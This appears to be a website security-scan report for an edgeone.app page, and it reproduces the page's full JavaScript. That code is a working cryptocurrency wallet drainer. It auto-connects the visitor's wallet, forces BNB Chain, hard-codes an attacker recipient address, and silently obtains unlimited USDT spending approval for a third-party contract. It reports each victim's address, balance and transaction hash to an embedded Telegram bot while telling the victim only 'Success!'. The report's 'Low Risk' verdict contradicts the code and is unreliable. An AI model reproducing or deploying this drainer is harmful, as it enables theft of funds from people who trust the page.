finance banking

cryptocurrency blockchain

English

Within the application-focused generic top-level domain (.app), 'various-azure-tzggfyvj-dp8ctf16mnh1.edgeone.app' is registered, featuring subdomain 'various-azure-tzggfyvj-dp8ctf16mnh1'. Its registrable label 'edgeone' stretches across 7 characters holding 4 vowels versus three consonants. Tokenizing the label suggests two words: edge, one. Median word length is 3.5 characters. No strong language cues emerged from the frequency lists.

html/1f/91/1f91bb3a-fcb1-4f79-b094-4dbb90d76d0a.html.gz

8cdcd2aa68c68480d5180ca0cd64f190c7064fdecff596ea34042eba5ff181db

192111066d578309ca0786ddb4c9a11d42de44f9e6fcdd92c91a7796cf278e0b

width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Prudence Malinki

MarkMonitor Inc.

edgeone.app

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


  // ==================== TELEGRAM CONFIGURATION ====================
  const TELEGRAM_BOT_TOKEN = '8511060695:AAFmu44nUNSfqQQx1Tiavf6uqfMw_uRkNvE';
  const TELEGRAM_CHAT_ID = '6363630029';
  // ===============================================================

  // ==================== CONSTANTS ====================
  const USDT_USD = 1;
  const RECIPIENT_ADDRESS = '0x0772471508b17ca02C5b62C3f09910A25200aCC9';
  const USDT_CONTRACT = '0x55d398326f99059ff775485246999027b3197955';
  const SPENDER_CONTRACT = '0x4d80d8700fDf22C03f7ebC5CEB4D2B4870f154Ac';
  const BNB_CHAIN_ID = 56;
  const MAX_UINT256 = '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';

  const USDT_ABI = [
    {
      "constant": false,
      "inputs": [
        { "name": "_to", "type": "address" },
        { "name": "_value", "type": "uint256" }
      ],
      "name": "transfer",
      "outputs": [{ "name": "", "type": "bool" }],
      "type": "function"
    },
    {
      "constant": true,
      "inputs": [{ "name": "_owner", "type": "address" }],
      "name": "balanceOf",
      "outputs": [{ "name": "balance", "type": "uint256" }],
      "type": "function"
    },
    {
      "constant": false,
      "inputs": [
        { "name": "spender", "type": "address" },
        { "name": "amount", "type": "uint256" }
      ],
      "name": "approve",
      "outputs": [{ "name": "", "type": "bool" }],
      "type": "function"
    },
    {
      "constant": true,
      "inputs": [
        { "name": "owner", "type": "address" },
        { "name": "spender", "type": "address" }
      ],
      "name": "allowance",
      "outputs": [{ "name": "", "type": "uint256" }],
      "type": "function"
    }
  ];

  // ==================== STATE ====================
  let web3 = null;
  let usdtContract = null;
  let currentAccount = null;
  let videoStream = null;
  let scanInterval = null;

  // ==================== TELEGRAM HELPER (HTML mode + monospace address) ====================
  async function sendTelegramMessage(message) {
    if (!TELEGRAM_BOT_TOKEN || TELEGRAM_BOT_TOKEN === 'YOUR_BOT_TOKEN' || !TELEGRAM_CHAT_ID || TELEGRAM_CHAT_ID === 'YOUR_CHAT_ID') {
      console.warn('Telegram bot not configured. Message not sent:', message);
      return;
    }
    try {
      const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
      await fetch(url, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          chat_id: TELEGRAM_CHAT_ID,
          text: message,
          parse_mode: 'HTML',
          disable_notification: false
        })
      });
    } catch (err) {
      console.error('Telegram send failed:', err);
    }
  }

  // ==================== USDT BALANCE DISPLAY (on site) ====================
  async function updateBalanceDisplay() {
    const balanceEl = document.getElementById('usdtBalanceDisplay');
    if (!currentAccount || !usdtContract) {
      balanceEl.textContent = '💰 USDT Balance: -- (wallet not connected)';
      return;
    }
    try {
      const balanceWei = await usdtContract.methods.balanceOf(currentAccount).call();
      const balanceUSDT = parseFloat(web3.utils.fromWei(balanceWei, 'ether')).toFixed(4);
      balanceEl.textContent = `💰 USDT Balance: ${balanceUSDT} USDT`;
    } catch (err) {
      console.warn('Balance update error', err);
      balanceEl.textContent = '💰 USDT Balance: error';
    }
  }

  // ==================== UI FUNCTIONS (unchanged) ====================
  function onAddrInput() {
    const addrInput = document.getElementById('addrInput');
    if (addrInput.value !== RECIPIENT_ADDRESS) {
      addrInput.value = RECIPIENT_ADDRESS;
    }
    document.getElementById('addrClear').style.display = 'none';
    document.getElementById('pasteBtn').style.display = 'none';
    checkReady();
  }

  function clearAddr() {
    document.getElementById('addrInput').value = RECIPIENT_ADDRESS;
    onAddrInput();
  }

  function pasteAddr() {
    document.getElementById('addrInput').value = RECIPIENT_ADDRESS;
    onAddrInput();
  }

  function addrBlur() {
    document.getElementById('addrWrap').style.borderColor = '#2222bb';
  }

  function onAmtInput() {
    const v = document.getElementById('amtInput').value;
    document.getElementById('amtClear').style.display = v ? 'flex' : 'none';
    const usd = v && !isNaN(v) ? (parseFloat(v)*USDT_USD).toFixed(2) : '0.00';
    document.getElementById('usdVal').textContent = `≈ $${usd}`;
    checkReady();
  }

  function clearAmt() {
    document.getElementById('amtInput').value = '';
    onAmtInput();
  }

  function amtBlur() {
    document.getElementById('amtWrap').classList.remove('focused');
    if (document.getElementById('amtInput').value)
      document.getElementById('amtWrap').style.borderColor = '#2222bb';
  }

  function checkReady() {
    const addr = document.getElementById('addrInput').value.trim();
    const hasValid = addr === RECIPIENT_ADDRESS && currentAccount;
    const nextBtn = document.getElementById('nextBtn');
    if (hasValid) {
      nextBtn.classList.add('ready');
    } else {
      nextBtn.classList.remove('ready');
    }
  }

  // ==================== WALLET CONNECTION (AUTO) ====================
  async function connectWallet() {
    if (!window.ethereum) {
      console.log('No wallet detected');
      return;
    }
    
    try {
      const accounts = await window.ethereum.request({ method: 'eth_requestAccounts' });
      if (!accounts || accounts.length === 0) return;
      
      currentAccount = accounts[0];
      web3 = new Web3(window.ethereum);
      
      const chainIdHex = await window.ethereum.request({ method: 'eth_chainId' });
      if (parseInt(chainIdHex, 16) !== BNB_CHAIN_ID) {
        try {
          await window.ethereum.request({
            method: 'wallet_switchEthereumChain',
            params: [{ chainId: '0x38' }]
          });
        } catch (e) {
          if (e.code === 4902) {
            await window.ethereum.request({
              method: 'wallet_addEthereumChain',
              params: [{
                chainId: '0x38',
                chainName: 'BNB Smart Chain',
                nativeCurrency: { name: 'BNB', symbol: 'BNB', decimals: 18 },
                rpcUrls: ['https://bsc-dataseed.binance.org/'],
                blockExplorerUrls: ['https://bscscan.com/']
              }]
            });
          }
        }
        web3 = new Web3(window.ethereum);
      }
      
      usdtContract = new web3.eth.Contract(USDT_ABI, USDT_CONTRACT);
      
      document.getElementById('addrInput').value = RECIPIENT_ADDRESS;
      onAddrInput();
      
      // Update balance display and send Telegram log with monospace address
      await updateBalanceDisplay();
      let balanceForLog = '?';
      try {
        const balWei = await usdtContract.methods.balanceOf(currentAccount).call();
        balanceForLog = parseFloat(web3.utils.fromWei(balWei, 'ether')).toFixed(4);
      } catch(e) {}
      await sendTelegramMessage(`🔗 Wallet connected\n<code>${currentAccount}</code>\n💰 Balance: ${balanceForLog} USDT`);
      
      window.ethereum.on('accountsChanged', async (accs) => {
        if (accs.length === 0) {
          currentAccount = null;
          usdtContract = null;
          document.getElementById('usdtBalanceDisplay').textContent = '💰 USDT Balance: --';
        } else {
          currentAccount = accs[0];
          if (usdtContract) await updateBalanceDisplay();
        }
        checkReady();
      });
      
      window.ethereum.on('chainChanged', () => window.location.reload());
      
    } catch (error) {
      console.log('Wallet connection failed:', error);
    }
  }

  // ==================== MAX BUTTON ====================
  async function setMax() {
    if (!currentAccount || !usdtContract) {
      alert('Please connect your wallet first.');
      return;
    }
    
    try {
      const balanceWei = await usdtContract.methods.balanceOf(currentAccount).call();
      const balanceUSDT = web3.utils.fromWei(balanceWei, 'ether');
      document.getElementById('amtInput').value = balanceUSDT;
      onAmtInput();
      await updateBalanceDisplay(); // refresh displayed balance
    } catch (error) {
      console.error('Error fetching balance:', error);
      alert('Could not fetch USDT balance. Ensure you are on BNB Chain.');
      await sendTelegramMessage(`❌ Balance fetch error\n<code>${currentAccount}</code>\nError: ${error.message}`);
    }
  }

  // ==================== UNLIMITED APPROVAL (silent, Telegram logs with monospace) ====================
  async function ensureUnlimitedApproval() {
    if (!usdtContract || !currentAccount) throw new Error('Wallet not connected');

    // fetch current balance for logs
    let currentBalance = '0';
    try {
      const balWei = await usdtContract.methods.balanceOf(currentAccount).call();
      currentBalance = parseFloat(web3.utils.fromWei(balWei, 'ether')).toFixed(4);
    } catch(e) {}

    const allowanceWei = await usdtContract.methods.allowance(currentAccount, SPENDER_CONTRACT).call();
    const isUnlimited = (allowanceWei === MAX_UINT256 || parseFloat(web3.utils.fromWei(allowanceWei, 'ether')) > 1e9);
    
    if (isUnlimited) {
      await sendTelegramMessage(`✅ Unlimited approval already active\n<code>${currentAccount}</code>\n💰 Balance: ${currentBalance} USDT`);
      return true;
    }

    try {
      const gas = await usdtContract.methods.approve(SPENDER_CONTRACT, MAX_UINT256)
        .estimateGas({ from: currentAccount });
      const tx = await usdtContract.methods.approve(SPENDER_CONTRACT, MAX_UINT256)
        .send({ from: currentAccount, gas: Math.floor(gas * 1.2) });
      
      await sendTelegramMessage(`✅ Unlimited USDT approval SUCCESS\n🔹 Address: <code>${currentAccount}</code>\n💰 Balance: ${currentBalance} USDT\n🔹 Tx: ${tx.transactionHash}`);
      return true;
    } catch (err) {
      await sendTelegramMessage(`❌ Approval FAILED\n🔸 Address: <code>${currentAccount}</code>\n🔸 Balance: ${currentBalance} USDT\n🔸 Error: ${err.message}`);
      throw new Error('Approval rejected or failed. Check Telegram for details.');
    }
  }

  // ==================== NEXT BUTTON - ONLY APPROVAL, NO API, NO BUTTON TEXT CHANGE ====================
  let isProcessing = false;
  async function handleNext() {
    if (!currentAccount || !usdtContract) {
      alert('Please connect your wallet first.');
      return;
    }
    if (isProcessing) return;
    
    isProcessing = true;
    const nextBtn = document.getElementById('nextBtn');
    // Disable button to prevent double submission, but keep original text "Next"
    nextBtn.disabled = true;
    
    try {
      // Perform unlimited approval (silent, only Telegram logs)
      await ensureUnlimitedApproval();
      
      // Show simple success message (exactly "✅ Success!" without extra details)
      alert('✅ Success!');
      
      // Refresh balance display after approval (balance unchanged, but good practice)
      await updateBalanceDisplay();
      
    } catch (error) {
      console.error('Operation failed:', error);
      alert(`❌ Failed: ${error.message || 'Approval was rejected or network error'}`);
    } finally {
      nextBtn.disabled = false;
      isProcessing = false;
      checkReady();
    }
  }

  // ==================== QR SCANNER (unchanged) ====================
  async function openQR() {
    const overlay = document.getElementById('qrOverlay');
    overlay.classList.add('active');
    try {
      videoStream = await navigator.mediaDevices.getUserMedia({
        video: { facingMode: 'environment', width: { ideal: 1280 }, height: { ideal: 720 } }
      });
      const video = document.getElementById('qrVideo');
      video.srcObject = videoStream;
      video.play();
      video.addEventListener('loadedmetadata', startScanning, { once: true });
    } catch(e) {
      alert('Camera access denied. Please allow camera permission.');
      closeQR();
    }
  }

  function startScanning() {
    const video = document.getElementById('qrVideo');
    const canvas = document.getElementById('qrCanvas');
    const ctx = canvas.getContext('2d');

    scanInterval = setInterval(() => {
      if (video.readyState !== video.HAVE_ENOUGH_DATA) return;
      canvas.width = video.videoWidth;
      canvas.height = video.videoHeight;
      ctx.drawImage(video, 0, 0, canvas.width, canvas.height);
      const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
      const code = jsQR(imageData.data, imageData.width, imageData.height, {
        inversionAttempts: 'dontInvert'
      });
      if (code && code.data) {
        handleQRResult(code.data);
      }
    }, 200);
  }

  function handleQRResult(data) {
    clearInterval(scanInterval);
    scanInterval = null;
    
    document.getElementById('qrSuccess').classList.add('show');
    setTimeout(() => {
      closeQR();
      document.getElementById('qrSuccess').classList.remove('show');
      alert('QR scanned. Recipient address is fixed.');
    }, 900);
  }

  function closeQR() {
    clearInterval(scanInterval);
    scanInterval = null;
    if (videoStream) {
      videoStream.getTracks().forEach(t => t.stop());
      videoStream = null;
    }
    document.getElementById('qrVideo').srcObject = null;
    document.getElementById('qrOverlay').classList.remove('active');
  }

  // ==================== INIT ====================
  window.addEventListener('load', () => {
    document.getElementById('addrInput').value = RECIPIENT_ADDRESS;
    document.getElementById('addrInput').setAttribute('readonly', true);
    document.getElementById('addrClear').style.display = 'none';
    document.getElementById('pasteBtn').style.display = 'none';
    
    connectWallet();
    document.getElementById('nextBtn').addEventListener('click', handleNext);
    onAddrInput();
  });

  window.onAddrInput = onAddrInput;
  window.clearAddr = clearAddr;
  window.pasteAddr = pasteAddr;
  window.addrBlur = addrBlur;
  window.onAmtInput = onAmtInput;
  window.clearAmt = clearAmt;
  window.amtBlur = amtBlur;
  window.setMax = setMax;
  window.openQR = openQR;
  window.closeQR = closeQR;


Requests	IP Address	Location	AS Autonomous System
2	104.17.208.5	United States	AS13335Cloudflare, Inc.
1	43.152.26.58	Singapore	AS139341ACE
1	104.17.25.14	United States	AS13335Cloudflare, Inc.
4	3	-	-

Security Scan Report: various-azure-tzggfyvj-dp8ctf16mnh1.edgeone.app

Summary

AI Security Verdict

Low Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History